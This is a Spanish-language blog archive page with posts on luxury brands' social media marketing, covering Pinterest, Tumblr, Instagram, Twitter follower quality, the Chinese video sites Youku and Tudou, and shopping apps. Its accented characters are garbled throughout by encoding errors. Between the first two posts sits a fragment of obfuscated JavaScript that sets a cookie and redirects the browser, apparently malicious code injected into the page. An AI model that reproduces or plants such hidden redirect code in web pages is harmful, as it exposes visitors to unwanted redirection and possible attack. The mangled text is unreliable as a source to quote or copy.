Inicio archivos - Página 6 de 8

Shot and Shop, la App que identifica la moda que vemos en la calle. A?Un aliado para el lujo?

Shot & Shop hace una sugerencia de modelos alternativos al que le hemos mostrado.

La conocAi??amos esta semana. Shot & Shop es la nueva App queAi??logra identificar cualquier bolso y zapato que fotografiemos. Ha sido desarrollada por una ingeniera de Telecomunicaciones y experta en visiA?n artificial, la espaAi??ola Sira PAi??rez de la Coba, y es gratuita.

La aplicaciA?n es muy fA?cil de usar. Imaginemos que vamos por la calle y vemos a alguien con unas sandalias queAi?? nos gustan, pero nos da apuro preguntar dA?nde las ha adquirido. Lo A?nico que tenemos que hacer es entrar en la App, sacar una foto de las sandalias, subirla a la aplicaciA?n y Shot & Shop localiza ese artAi??culo en su base de datos, revela dA?nde se ha comprado, daAi??su precio y ademA?s nos permitirA? acceder a la tienda online de la marca y comprarlo si lo queremos.

En el caso de que la herramienta no encuentre exactamente el mismo producto, ofrece una relaciA?n de modelos alternativos que la App considera similares al buscado.

AdemA?s, la App te ayuda a hacer combinaciones de estilismos para sacar el mA?ximo partido a los complementos.

No, no es una App orientada al sector lujo, sino a moda en general. Pero sAi?? puede tener una interesante proyecciA?n paraAi??las firmas de alta gama.Ai??ParaAi??un consumidor de poder adquisitivo alto sin duda resulta atractiva la idea de que cualquiera, con solo sacar una foto de su bolso de marca, pueda saber dA?nde lo ha comprado y cuA?nto ha pagado por Ai??l.Ai?? Y ello sin necesidad deAi??exhibir ningA?n logo. A?QuAi?? mejor forma de hacer ostentaciA?n de la exclusividad sin que parezca que se estA? haciendo? Por eso las grandes marcas pueden tener un aliado en unaAi??aplicaciA?n de estas caracterAi??sticas.

Evidentemente, la eficacia del sistema dependerA? de una bien nutrida base de datos de productos donde los de lujo estAi??n debidamente representados y de que el sistema de identificaciA?n sea realmente eficaz.

A?TA? quAi?? crees?

e\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

7 Acciones Social Media de las grandes marcas en septiembre

Gucci promocionando en su pA?gina de Google+ el hangout con Blake Lively.

Septiembre estA? siendo un mes intenso para las marcas de alta gama, y esa intensidad se estA? reflejando en las redes sociales. AquAi?? tienes 7 de las acciones que se estA?n desarrollando o se han desarrollado este mes:

1. Gucci, VersaceAi??o Prada desde MilA?n, Burberry desde Londres… Las redes sociales se han llenado de moda coincidiendo con la presentaciA?n en las pasarelas de sus colecciones para la temporada primavera-verano 2014. PrA?cticamente todas las grandes firmas hanAi??retransmitido en tiempo real sus desfiles a travAi??s de YouTube y tambiAi??n usando Facebook.

2. Para celebrar que ha llegado a los dos millones de fans en Facebook, Jimmy Choo ha puesto en marchaAi??un sorteo de 5.000 dA?lares en compras en sus tiendas. Tan solo hay que inscribirse en la webAi?? de la firma www.jimmychoo.comAi??.

3. Gucci ha llevado a cabo a travAi??s de Google+ su primer hangout con la actriz Blake Lively, imagen del A?ltimo perfume de la firma, Gucci Premiere. Los fans de la actriz han podido dejar sus preguntas en la red social de Google para queAi??la popular protagonista de la serie Gossip Girl las respondiera a travAi??s del video chat.

4. Cartier ha utilizado las redes sociales para dar publicidad a una nueva App: Cartier Art Magazine. Esta aplicaciA?n es para iPad y gratuita, y se ha creado para complementar la revista Cartier Art de la firma joyera.Ai??Ai??La AppAi??se puede descargar aquAi??.

5. Clinique ha puesto en marcha esta semana en las redes sociales la campaAi??a #CliniqueYellow para promocionar su popular hidratante amarilla del sistema ‘3 pasos’. La firma propondrA? un reto semanal para que sus fans envAi??en fotos Ai??a Instagram y Twitter sobre temas concretos relacionados con el color amarillo. TodasAi??las fotos deben compartirseAi??junto conAi??el correspondiente hashtag de la campaAi??a.Ai??Las seguidoras que compartanAi??sus imA?genesAi??participarA?n en el sorteo semanal de 3 lotes del sistema ‘3 pasos’.

6. Loewe ha presentado en Youtube y llevado a sus diferentes redes sociales el A?ltimo vAi??deo publicitario de su nueva fragancia Aura Loewe,Ai?? un spot de poco mA?s de un minuto que protagoniza Linda Evangelista.

7. Estee Lauder ha puesto en marcha la campaAi??a digital The Beauty Of Night que estA? proyectando a travAi??s de las redes sociales. Se trata de una iniciativa para promocionar su serum para la noche Advanced Night Repair. La firma ha creado la web www.thebeawtyofnight.com y a travAi??s de los Social Media promueve la participaciA?n de sus seguidoras para que en la web de la campaAi??a dejen un mensaje con una respuesta a la pregunta A?quAi?? es para usted una noche hermosa? La marca dice que ese mensaje seAi??va a intercambiarAi??con el de otra mujer en cualquier parte del mundo con el fin de crear ‘una conexiA?n inesperada’.

A?QuAi?? te parecen estas acciones? A?Conoces alguna otra de los A?ltimos dAi??as?

Youku y Tudou, los YouTube chinos

Canal de Christian Louboutin en la plataforma de vAi??deo china Youku.

Llegar a los ciudadanos chinos con alto poder adquisitivo es actualmente uno de los principales objetivos de las marcas del sector lujo, como hemos seAi??alado en anteriores ocasiones. Por eso es importante tener en cuenta a esta poblaciA?n en cualquier plan social media desarrollado para estas firmas. Uno de los grandes obstA?culos para conseguirlo es el llamado ‘Escudo Dorado’, tambiAi??n conocido como el ‘Gran Cortafuegos’. Se trata de un sistema de censura puesto en marcha por el gobierno chino en 2003 para impedir a los internautas residentes en el paAi??s acceder a determinados sitios ubicados en servidores fuera de China. Ello afecta a las principales redes sociales occidentales, como Facebook, Twitter o YouTube.

ParaAi??reemplazar a YouTubeAi??se han generado dos plataformasAi??alternativas de vAi??deo: Youku y Tudou con un funcionamiento similar y algunas particularidades. Aunque cuentan con portales independientes, en marzo de 2012 ambas compaAi??Ai??as se fusionaron y dieron lugar a Youku Tudou Inc., un gigante que integra el mercado del vAi??deo en China.

1. Youku

Cuenta con mA?s de 170 millones de vAi??deos subidos por usuarios y marcas, que ademA?s se viralizan a travAi??s de las principales redes sociales chinas.

En Ai??el caso de Youku, y a diferencia de YouTube, predominan los vAi??deosAi??subidos por las marcas: 70% frente al 30%.Ai??AdemA?s, se distribuyen en categorAi??as: televisiA?n, pelAi??culas, mA?sica, animaciA?n, informaciA?n, ciencia y tecnologAi??a, moda, entretenimiento…

En 2011 contaba con 285 millones de usuarios alAi??mes y segA?n explicaba el responsable de relaciones pA?blicas internacionales de Youku, Jean Shao, esta plataforma superaba el 35% en tAi??rminos de tiempo que los usuarios chinos dedican a Internet. Cifras muy golosas que han empujado a las grandes marcas de lujo aAi??desplegar sus estrategias en esta plataforma: Louis Vuitton, Dior, Cartier, Rolex, Omega, Burberry, Louboutin, entre otras, disponen de canal en este portal.

Entre las peculiaridades del usuario medio de Youku estA? su nivel educativo, mA?s alto, y tambiAi??n su elevada capacidad de influencia. De hecho es habitual que, antes de ver un vAi??deo,Ai??los usuarios prefieran leer los comentarios que han dejado en ese vAi??deoAi??otros internautas. La tendencia a la participaciA?n tambiAi??n es mayor.

2. Tudou

Fundado en 2005 es, tras Youku, el segundo portal de vAi??deos del paAi??s. Aloja mA?s deAi??50 millones de vAi??deos vistos por mA?s de 200 millones de usuarios al mes.

Entre sus contenidos figuran vAi??deos amateur, vAi??deo-blogging y otros vAi??deos generados por usuarios, asAi?? como contenido profesional como clips de pelAi??culas, promocionales, series de televisiA?n y vAi??deos musicales. TambiAi??n ofrece programaciA?n original producidaAi??especAi??ficamente para Internet. Entre las firmas de lujo que han apostado por esta plataforma estA?n Loubutin y Louis VuittonAi??(ambas tambiAi??n tienen canal en Youku, como se indicaba anteriormente).

Al igual que Youku, distribuye el contenido en categorAi??as: pelAi??culas, entretenimiento, juego, deportes, documental, moda, belleza, salud, ciencia y tecnologAi??a…

Tras la fusiA?n de ambas, la nueva compaAi??Ai??a optA? por que Youku se posicionaraAi??para conceptos como ‘mainstream’, ‘atmA?sfera’,’ inspiraciA?n’ oAi??’realizaciA?n de sueAi??os’ y Tudou para ‘moda’,’ juventud’, ‘individualidad’ y ‘rebeldAi??a’.

A?ConocAi??as estas plataformas? A?Crees que el sector lujo debe tenerlas en cuenta en su estrategia online?

5 Marcas de lujo que NO estA?n oficialmente en Pinterest

Perfil no oficial de Chanel en Pinterest construido por sus fans.

Por sus potencial visual, Pinterest se ha convertido en una de las redes sociales esenciales en la estrategia de marketing digital de las grandes marcas del sector lujo (aquAi?? explicA?bamos recientemente las razones por las que contar con perfil en esta plataforma). Sin embargo, pese a los innegables atractivos de esta red social, hay marcas de gran prestigio que han optado por prescindir de ella para acercarse a sus seguidores y potenciales clientes. AquAi?? van 5 grandes marcas que no cuentan con perfil oficial en Pinterest:

1. Chanel

Efectivamente, la gran firma francesa ha optado por mantenerse al margen de esta plataforma, lo cual no quiere decir que no estAi?? presente. Chanel es la gran ganadora de las marcas de lujo en Pinterest, como contA?bamos aquAi??, y lo es porque cuenta con perfiles no oficiales y porque sus seguidores pinean y repinean imA?genes de susAi??diseAi??os y productosAi??sin necesidad de que lo haga la propia marca. Logra asAi?? superar incluso a lasAi??firmas que si tienen cuenta oficial. Es la suerte de ser Chanel…

2. Christian Louboutin

La gran firmaAi??famosa por susAi??zapatos de suela rojaAi??obvia tambiAi??n Pinterest en su estrategia de marketing digital. Cuando de imA?genes se trata, prefiere apostar por la App Instagram donde cuenta con un millA?n seiscientos mil seguidores. Igual que en el caso de Chanel, la falta de un perfil de empresa no es obstA?culo para que estAi?? presente de manera no oficial. Sus fans se encargan de ello.

3. Donna Karan

La firma estadounidense tampoco estA? en Pinterest oficialmente. En su lugar, Donna Karan ha apostado por convertir la plataforma de microblogging Tumblr en una especie de Pinterest. Al menos es asAi?? para su lAi??nea mA?s joven, DKNY Jeans (ya lo contamos aquAi??).

4. Calvin Klein

Tampoco esta marca norteamericana apuesta por Pinterest. Tiene perfil en Instagram con 7.600 seguidores, y tambiAi??n estA? presente en Facebook, Twitter, YouTube, Google+ y Tumblr, pero ha descartado la gran plataforma visual.

5. Mulberry

La marca de lujo britA?nica especialmente apreciada por sus bolsos tambiAi??n ha decidido prescindir de Pinterest en su estrategia digital, pero sAi?? estA? en Instagram donde cuenta con 77 millones de seguidores.

A?Crees que estas marcas deberAi??an estar en PinterestAi??de manera oficial o crees que con la laborAi??desplegada porAi??sus fans es suficiente? A?Conoces alguna otra marca de lujo que no lo estAi???

6 Blogs de lujo. La apuesta de las grandes marcas por el marketing de contenidos

Swide Magazine, el blog-revista de Dolce & Gabbana.

Los blogs permiten a las grandes firmas generar y ofrecer contenidos interesantes para sus seguidores. Ello ayuda a la tarea de construir marca, facilita la fidelizaciA?n de clientes y aumenta el angagement. Ai??stas son solo algunas de las razones por las que las marcas del sector lujo estA?n apostando por el marketing de contenidos a travAi??s de sus propios blogs. Ya nos hemos referido anteriormente a la plataforma Tumblr y a algunos microblogs (puedes leer el artAi??culo en este enlace). AquAi?? van 6 blogs a tener en cuenta:

1. Chanel News

Todas las novedades del universo Chanel se encuentran en este blog donde la firma da cuenta de actividades culturales, nuevas colecciones, aperturas de tiendas, making of de vAi??deos y reportajes fotogrA?ficos, eventos en los que participa Chanel y cualquier otra noticia relacionada con la gran marca francesa y su actividad. Se publica en inglAi??s, francAi??s y espaAi??ol, un gran acierto para que nadie tenga en el idioma un obstA?culo y para facilitar la identificaciA?n con la firma.

2. Swide Magazine

Swide es el blog de Dolce & Gabbana donde los reportajes sobre moda y belleza se entremezclan con temas como la gastronomAi??a, turismo, cultura, deporte, tecnologAi??a o celebrities. AdemA?s se hacen pequeAi??as encuestas entre los usuarios. Ai??Es en inglAi??s y tiene un diseAi??o atractivo y muy visual a modo de revista, conforme al espAi??ritu de la publicaciA?n.

3. Roberto Cavalli Blog

Se trata del blog personal del diseAi??ador Roberto Cavalli. Desarrollado casi a modo de cuaderno de bitA?cora, da cuenta de sus idas y venidas, actividades, eventos a los que asiste, experiencias, relaciones conAi??celebrities internacionales, pero sobre todo son sus viajes los grandes protagonistas.

AsAi?? justifica su blog el diseAi??ador:

‘This isAi??my way to feel close to you, to talk with you, to listen andAi??advise, to share with you my successes and sometimes my problems.’

Podemos conocer (leer) a Cavalli en inglAi??s y en italiano.

4. Fake Karl: Lagerfeld’s Guide to Life

El director creativo de Chanel, Karl Lagerfeld, que tambiAi??n tiene su propia lAi??nea de ropa, dedica su blog personal a volcar sus reflexiones sobre la moda, sus vivencias y temas de actualidad. Desarrolladas casi a modo de artAi??culos de opiniA?n, nos permiten acercarnos al punto de vista del diseAi??ador alemA?n y a su peculiar estilo de vida. Aunque el blog se creA? en 2008, ha ido progresivamente perdiendo fuerza, hasta el punto de que este aAi??o solo ha subido un par de posts. El A?ltimo de ellos, en junio, para referirse a los problemas de Dolce & Gabbana con la justicia italiana. Una pena, porque el excAi??ntrico Lagerfeld deja mA?s de una perla en sus textos.

5. Destination Kors: el blog de Michael Kors

Este blog , mucho mA?s visual que textual, da protagonismo sobre todo a los artAi??culos Kors, sus bolsos y complementos. Novedades, bolsos estrella y las celebrities que los lucen son el principal reclamo. Pero ademA?s este verano este blog ha servido para promover la campaAi??a ‘What’s in your Kors?’, la estrategia digital de Michael Kors para potenciar su tienda online. La campaAi??a intentaba acercarse a las compradoras de sus bolsos animA?ndolas a relatar quAi?? llevan en su Kors cuando van de vacaciones. Para impulsar esta campaAi??a Kors ha colaborado tambiAi??n estrechamente con otro blog externo: The Purse Blog.

6. El blog de la FundaciA?n Loewe

La FundaciA?n Loewe se ha convertido en una herramienta fundamental a travAi??s de la cual la marca de origen espaAi??ol ha institucionalizado su apoyo a la cultura. Un apoyo que ademA?s encierra una cuidada estrategia de marketing sostenida por la implicaciA?n de Loewe en la promociA?n los valores asociados a la cultura. Dentro de esta estrategia se enmarca el blog propio de la FundaciA?n Loewe, donde se da cuenta de actividades de todo tipo que la fundaciA?n patrocina u organiza, como su certamen internacional de poesAi??a o exposiciones fotogrA?ficas como la dedicada a los Kennedy que todavAi??a puede visitarse este mes en la tienda Loewe de la calle Serrano.

A?Tu marca cuenta con un blog? A?Sigues alguno de los mencionados?

6 Razones para que las marcas de lujo estAi??n en Pinterest

SiAi??los artAi??culos de lujo destacan por algo es por suAi??fuerza visual. EsoAi??convierte aAi??Pinterest, la red social de los tableros de imA?genes, en una plataforma de gran atractivo para las marcasAi??donde pueden desarrollarAi??infinidad de acciones efectivas para seducir a sus potenciales clientes. Lo vimos, por ejemplo, en cA?mo Tiffany usaba Pinterest (puedes leer el artAi??culo aquAi??). Pero hay otras muchas razones por las que las firmas de lujo deben estar en esta red social. AquAi?? van 6:

1. Las cifras de Pinterest. Los nA?meros de esta plataforma y su progresiA?n son mA?s que apetecibles.Ai??SegA?n Alexa, ocupa el puesto 42 en el ranking mundial (ha caAi??do algo en los A?ltimos meses, pero no deja de ser un dato impresionante) y el 14 en Estados Unidos.Ai??En junio tuvo mA?s de 32 millones de usuarios A?nicos en ese paAi??s, segA?n datos de Compete, y aunque los usuarios espaAi??oles representan menos del 2%, sobra recordar que el mercado de las marcas de lujo es internacional y son las cifras globales las que importan.

2. El perfil de usuario en Pinterest. Casi un 70% de los usuarios de la red son mujeres. Puede que el lujo no entienda de sexos, pero si tenemos en cuenta que buena parte del sector tiene en la moda una deAi??sus lAi??neas de negocio mA?s relevantes, el perfil de la audiencia de Pinterest resultaAi??mA?s queAi??suculento.

3. A diferencia de Instagram donde las fotos proceden fundamentalmente de usuarios particulares que quieren compartir sus tomas, las marcas son la principal fuente de imA?genes en Pinterest. Directa o indirectamente al ser repineadas por los usuarios.Ai??MA?s del 40% de los usuarios de esta red estA?n en ella precisamente por las marcas. Hablamos, entonces,Ai??de un pA?blico receptivo a lo que las grandes firmas puedan ofrecerle.

4. Pinterest es la plataforma perfecta para darnos informaciA?n sobre los usuarios, sus gustos, aficiones, sueAi??os, estilo de vida… Con sus repines nos lo cuentan todo.

5. Una de las A?ltimas mejoras en esta plataforma ha sido incluir analAi??tica, asAi?? que se puede saberAi??el impacto real de lasAi?? marcas, el nA?mero de interactuaciones que nuestros tableros e imA?genes estA?n logrando.

6. SegA?n un reciente estudio de Shopify, Pinterest es una plataforma excelente para potenciar el comercio online, y actualmente la inmensa mayorAi??a de las grandes marcas de lujo (Chanel es una de las pocas excepciones) venden en Internet. SegA?n este informe:

-Los usuarios de Pinterest se gastan mA?s dinero que los de otras redes sociales

-El trA?fico que recibe el sitio de las grandes marcas procedente de Pinterest gasta el doble que el del pA?blico de Facebook.

-Los usuarios procedentes de Pinterest son un 10% mA?s propensos a comprar que los que llegan de otrasAi??redes yAi??un 70% mA?s propensos que los que llegan a travAi??s de cualquier sitio web.

A?Quieres dar alguna otra razA?n para que las marcas de lujo estAi??n en Pinterest?

Loewe vs. Louis Vuitton en Twitter. RadiografAi??a en cifras

Louis Vuitton y Loewe tienen en comA?n un prestigio indiscutible en el mundo del lujo, en concreto en el sector moda, y un producto estrella: los bolsos. Pero ademA?s ambas marcas pertenecen al mismo grupo, al gigante francAi??s del lujo LVMH. La compaAi??Ai??a gala comprA? la firma de origen espaAi??ol en 1996, y desde entonces Loewe y Vuitton se cobijan bajo el mismo paraguas junto con otras grandes marcas de lujo. Sin embargo, su radiografAi??a en Twitter refleja notables diferencias en aspectos como la antigA?edad de las cuentas, nA?mero de seguidores o el porcentaje de engagement (participaciA?n de los followers). Pero tambiAi??n en la calidad de sus followers. Ai??stas son algunas de las cifras de la estrategia de ambas firmas:

Los mA?s de un millA?n de seguidores de Vuitton frente a los 37.000 de Loewe suponen una diferencia abismal entre ambas firmas, que ademA?s tienen un bagaje diferente en Twitter. Un bagaje que viene dado por la antigA?edad de ambas cuentas: la de la Vuitton es el doble de veterana, y por tanto ha generado mA?s tweets. Hablamos de menos de 200 tweets en el caso de Loewe frente aAi??casi 1.600 de Vuitton. Por otro lado, solo publicanAi??una media de 7 tweets a la semana, y esto es comA?n a ambas firmas, lo que parece insuficiente en una red social como Twitter que habitualmente exige un mayor esfuerzo de publicaciA?n para que las estrategias se rebelen como efectivas. Solo el prestigio y la enorme popularidad previaAi??internacional de ambas marcas hace que pueda sostenerse con Ai??xito una actividad tan reducida en unaAi??plataforma como TwitterAi??(esto es comA?n a otras marcas de lujo que en general tienen un promedio de tweets publicadosAi??a la semana bastante bajo).

Seguidores falsos, inactivos y de calidad

Otro aspecto importante de los followers esAi??su calidad. Al fin y al cabo, para construir marca, que es uno de los objetivos primordiales de lasAi??firmas del sectorAi??lujo en Social Media, los seguidores tienen que reunir una serie de condiciones: ser activos y por supuesto, ‘de verdad’. Y aquAi?? es donde llega la sorpresa. Ai??sta es la radiografAi??a de los seguidores de Loewe y de Vuitton (Datos de StatusPeople*):

RadiografAi??a de los seguidores de Loewe. Porcentaje de falsos, inactivos y de calidad.

: RadiografAi??a de los seguidores de Vuitton. Porcentaje de falsos, inactivos y de calidad.

*StatusPeople considera fakes o falsosAi??las ‘cuentas spam’Ai?? (cuentas con pocos o ningA?n seguidor o con pocos o ningA?n tweet publicado), que muchas veces (no siempre)Ai??se corresponden con seguidores comprados. Inactivos (inactives) serAi??an aquellos que no generan actividad por la razA?n que seaAi??y los buenos (good) serAi??an los seguidores de calidad, los que de verdad estA?n en condiciones de interactuar con la marca y compartir sus contenidos. Indicar tambiAi??n que StatusPeopleAi??especifica que los datos mA?s fiables son para cuentas de menos de 50.000 seguidores, como es el caso de Loewe.

Socialbakers atribuye a Loewe un porcentaje similar de fakes, un 10%. Sin embargo, no da datos de Louise VuittonAi??alegando queAi??Ai??la cuenta estA? protegida.

En definitiva, mientras el 60% de los seguidores de Loewe son de calidad, en el caso de VuittonAi??el porcentaje se reduce al 31%. Es decir, de un millA?n de followers, losAi??’A?tiles’ son unos 350.000. En el caso de la firma de origen espaAi??ol, de 37.000 seguidores, losAi??de calidadAi??sonAi??11.100.

A?QuAi?? opinas sobre las cifras en Twitter de estas marcas? A?Sigues habitualmente su actividad en esta plataforma?

Las 5 mejores marcas de lujo en Instagram. Por quAi?? las firmas de este sector superan a las demA?s

Las marcas de lujo han convertido a Instagram en uno de los elementos centrales de su estrategia de marketing. Es lA?gico que sea asAi?? dado queAi??el fuerte componente visual de esta red social para mA?vil encaja perfectamente con las fortalezas de este tipo de marcas. Pero ademA?s las marcas de lujo son las que mejores resultados logran entre sus seguidores en Instagram.

AsAi?? lo indica un recienteAi??estudio de Simply Measured que toma como referencia el top 100 de marcas globales de Interbrand (puedes ver aquAi?? el listado).

El 67% de ese top 100 usa Instagram dentro de su estrategia de marketing digital.Ai??Tinen una media de 3.500 fotos en esta plataforma y con ellas logran un promedio de 5.603 comentarios y ‘me gusta’Ai??por foto (anA?lisis de los A?ltimos 60 dAi??as). Sin embargo 5 marcas de lujo, Burberry, Gucci, Tiffany and Co., Ralph Lauren y Prada, logran ellas solas con un promedio de fotos muy inferior, 330, duplicar ese engagement y alcanzar los 11.566 ‘me gusta’Ai?? y compartidos.

Ai??ste es el ranking de las mejores marcas de lujo enAi??Instagram en base a su nA?mero de seguidores:

Si nos fijamos en el engagement, como dato revelador de la participaciA?n y el compromiso de los seguidores, el ranking quedarAi??a asAi??:Ai??1. Tiffany and Co, 2. Ralph Lauren, 3. Gucci, 4. Burberry y 5. Prada.

Otro dato de interAi??s: el 100% de las fotos que se suben a Instagram se comparten en Facebook y el 73% en Twitter, y logran mayorAi??engagement en Facebook que en Twitter (665 ‘me gusta’ por foto en Facebook de media y 7 tweets de media en Twitter).
A?QuAi?? hacenAi??las marcas de lujo mejor que las demA?s?

SegA?n el anA?lisis de Simply Measured, el principal elemento diferenciador radica en que comparten fotos de muy alta calidad pertenecientes a sus anuncios y catA?logos, manteniendo dentro de Instagram un retoque mAi??nimo. De hecho, solo el 19 por ciento de las fotos que las grandes marcas de lujo suben a Instagram son sometidas a algA?n tipo de filtro frente al 40% de la generalidad de las marcas top. El filtro mA?s usado por las marcas de lujo es ‘Lo-fi’. Lo usan dos veces mA?s que cualquier otro.

A?Sigues a estas marcas en Instagram? A?Tu marca estA? en esta plataforma con buenos resultados?

5 Estrategias de 5 grandes marcas en Tumblr

Ai??

Tumblr es una plataforma de microblogging donde es posible incorporar con gran rapidez y facilidad contenido social para compartir: textos, imA?genes, videos, archivos de audio… Y ademA?s se integra con las redes sociales mA?s populares como Facebook o Twitter. Actualmente existen mA?s de 122 millones de blogs creados en estaAi?? plataforma, segA?n la propia Tumblr. Desde el punto de vista visual, es una red muy atractiva, y por eso muchas grandes firmas del sector lujo y marcas premiumAi??tambiAi??n han llevado aquAi?? su estrategia de marketing de contenidos. La mayorAi??a de las grandes marcas utilizan esta red para difundir imA?genes de sus colecciones de moda. A continuaciA?n te presentoAi??cinco enfoques diferentes queAi??cinco grandesAi??firmas han querido dar a suAi??presencia en Tumblr:

1. Burberry

La marca de lujoAi??britA?nica A?ltimamenteAi??desarrollaAi??accionesAi??de marketingAi??digital muy interesantes, yAi??tambiAi??n le ha dado unAi??enfoqueAi??peculiar a su sitio enAi??Ai??Tumblr, convirtiAi??ndolo en un escaparate para su icA?nica gabardina. Bajo el tAi??tulo Art of The Trench, Burberry rinde homenaje a esta emblemA?tica prenda en cualquiera de sus versiones. Se pide a los seguidores de la firma que tengan una trench Burberry que envAi??en una foto. Entran entonces en juego fotA?grafos profesionales que se ocupan de tomar imA?genes del/la propietario/a vistiendo la gabardina, fotografAi??as en la lAi??neaAi??street styleAi??que pueden verse en el Tumblr oficial de Burberry (la imagen de cabecera de este artAi??culo es una de esas fotos)Ai??. Muchas de ellas son pineadas para que formen parte de uno de losAi??tableros que la firma tieneAi??enAi??Pinterest.Ai??AquAi?? tienes el Tumblr de Burberry.

2. Armani

Armani tambiAi??n ha optado por dar protagonismo a sus clientes. La prestigiosa firma italianaAi??utiliza su Tumblr oficialAi??como un complemento del concurso #framesofyou, una campaAi??a de vAi??deomarketing donde seAi??anima a los fans de la firmaAi??para que graben yAi??suban vAi??deos en algA?n momento de su vida cotidiana,Ai??llevando gafas de sol Armani. En Tumblr se pueden ver los trabajos participantes y se nos dirige a una pA?gina especAi??ficamente creada para el concurso. Todas las grabaciones estA?n tomadas con la App Videofyme de Apple, usando un filtro creado especialmente para la campaAi??aAi??y taggeadas con el hashtagAi??#framesofme.

3.Tommy Hilfiger

La marca premium ha hecho de su Trumblr un homenaje al estilo y forma de vida preppy tan ligada a su identidad. Prep World, que asAi?? se llama el Tumblr oficial de Hilfiger (puedes verlo aquAi??), ofrece un mosaico de ese mundo preppy construido con imA?genes deAi??la juventud de Hilfiger, fotografAi??as relacionadas con la trayectoria de la firma, con sus diseAi??osAi??y emblemas, y por tips acordes a la filosofAi??a preppy como Ai??ste:

4. Abercrombie and Fitch

La otra marca preppy por excelencia apuesta en su Tumblr por los fines de semana. Se llama #AbercrombieHot y curiosamente, sin renunciar a la imagen, apuesta mA?s por el texto. Bajo el grito de guerra, ‘It’s theAi??weekend, be a warrior!’, cada viernes publica un post donde da sugerencias para sacar el mA?ximo partido al fin de semana. MA?sica que escuchar, conciertos a los que ir… Una estrategia muy enfocada a su perfil de cliente: joven, universitario y dispuesto a disfrutar al mA?ximo de la vida. AquAi?? tienes el blog.

5. DKNY

La diseAi??adora estadounidense Donna KaranAi??dedica suAi??microblog a promocionar su segunda marca DKNY, en concreto, DKNYAi??Jeans y lo hace transformando su espacio Tumblr en una oda a Nueva York, su gente y sus calles. Street photography por los cuatro costadosAi??paraAi??impulsar laAi??lAi??nea mA?s joven y desenfada de Karan. AquAi?? puedes verlo.Ai??Ai??Y sAi??,Ai??por su diseAi??o,Ai??bien podrAi??a ser un tablero de Pinterest. Esto viene explicado posiblemente por el hecho de que ni la primera marca, Donna Karan, ni la segunda, DKNY,Ai??tienen perfil propio en la famosa red social de los pines.

A?QuAi?? te han parecido estas estrategias en Tumblr? A?Crees queAi??esta plataformaAi??todavAi??a estA? infrautilizada por las grandes marcas?

5 Aplicaciones mA?vil para el sector lujo: las grandes marcas seducen desde el smartphone

App de geolocalizaciA?n que nos permite encontrar tiendas de moda y ropa y complementos de firmas de prestigio.

Para los amantes del buen shopping existe un nA?mero creciente de aplicaciones para el mA?vil, tanto de pago como gratuitas,Ai??que ayudan al usuario a realizar las mejoras compras, encontrar productos y servicios de alto nivel o estar en contacto con sus diseAi??adores favoritos (recientemente hablA?bamos de Affinity China,Ai??la plataforma que hace llegar ofertas del sector lujoAi??a travAi??s de una App mA?vil a losAi??chinos ricos. Puedes recordar aquAi?? el artAi??culo).Ai??Para las marcas son un gran escaparate para sus productos yAi??un puente hacia potenciales clientes con una predisposiciA?n cada vezAi??mayor a utilizar elAi??smartphone. Por eso su estrategia de marketing incluye cada vez mA?s este tipo de Apps. Ai??stas sonAi??5 de esas aplicaciones que vale la pena destacar:

Productos y serviciosAi??mA?ltiples

–iVIP Black o The Millionaireai??i??s App: Sin duda, la mA?s exclusiva. EsAi??una aplicaciA?n para iPhone y iPad que cuesta casi 900 euros (la suscripciA?n dura un aAi??o). EsAi??la mas cara de App Store. Aporta unaAi??guAi??a de empresas y servicios para clientes con un elevadAi??simo poder adquisitivo. iVIP Black ayuda a buscar y encontrarAi??restaurantes, tiendas, hoteles,Ai??eventos, gimnasiosAi??y viajes entre unaAi??amplia gama de servicios. EntreAi??los establecimientos y marcasAi??que se pueden encontrar en esta AppAi??estA? la cadena de hoteles Firmdale, el servicio de almacenamiento y preservaciA?n de arte de Christie’s o el restaurante deAi??Gordon RamsayAi??Ai??.

Moda

–Snapette: Gratuita. Utiliza la geolocalizaciA?n para tratar de ser la mejor guAi??a para el shopping, encontrar tiendas cercanas, moda, rebajas y ofertas. PermiteAi??descubrir las mejores tiendas del mundo y ver las fotos de lo que estA?n comprando otras personas en las ciudades mA?s cosmopolitas. Con la funciA?n ‘Cerca de mAi??’Ai??se puedeAi??buscar los productos en las tiendas prA?ximas y nos mostrarA? instantA?neamente una lista con los artAi??culos disponibles. AdemA?s podemos explorar nuestra secciA?n de tiendas para ver las mA?s cercanas. Inconveniente: insuficiente nA?mero de tiendas en Madrid.

–Trendabl: Gratuita. Su desarrollo se inspirA? en la aplicaciA?n de fotos Instagram. Dedicada al estilo y a la moda, esta red social pronto estuvo en el punto de mira de firmas como Diane Von Furstenberg, Michael Kors, Carolina Herrera o Steve Madden, o establecimientos exclusivos como Barneys NY. Se puede seguir a todos ellos. TambiAi??n estA?n publicaciones de moda como Vanity FairAi??o Harper’s Bazaar.Ai?? Permite tomar y publicar fotos aAi??adiendo etiquetas. Las imA?genes se pueden enviar mediante Tumblr, Facebook y Twitter, y al igual que en estas redes, se puede dar al ‘me gusta’ o escribir comentarios sobre los elementos publicados.

DecoraciA?n

–Decorapolis: Para la primera App desarrollada para compartir diseAi??o, arte y objetos de decoraciA?n. Cualquier usuario puede subir las fotos de los objetos que descubra en cualquier lugar del planeta en su vida cotidiana: en exposiciones, tiendas, museos, galerAi??as, restaurantes… LasAi??imA?genes son agrupadas en guAi??as, algo similar a los tableros de Pinterest, son ubicadas geogrA?ficamente en el mapa y accesibles a travAi??s de mA?vil e Internet instantA?neamente. Los demA?s usuarios pueden votarlas. Ai??TambiAi??n se pueden subir enlaces a vAi??deos deAi?? YouTube y Vimeo. Actualmente cuenta conAi??ocho marcasAi??patrocinadorasAi??relacionadas conAi??el mundo de la decoraciA?n y el arte, y aunque sus usuarios tienen libertad para subir lo que quieran,Ai?? sin duda esta plataformaAi??tiene todos los ingredientes para ponerse al servicio del sector lujo.

Hoteles

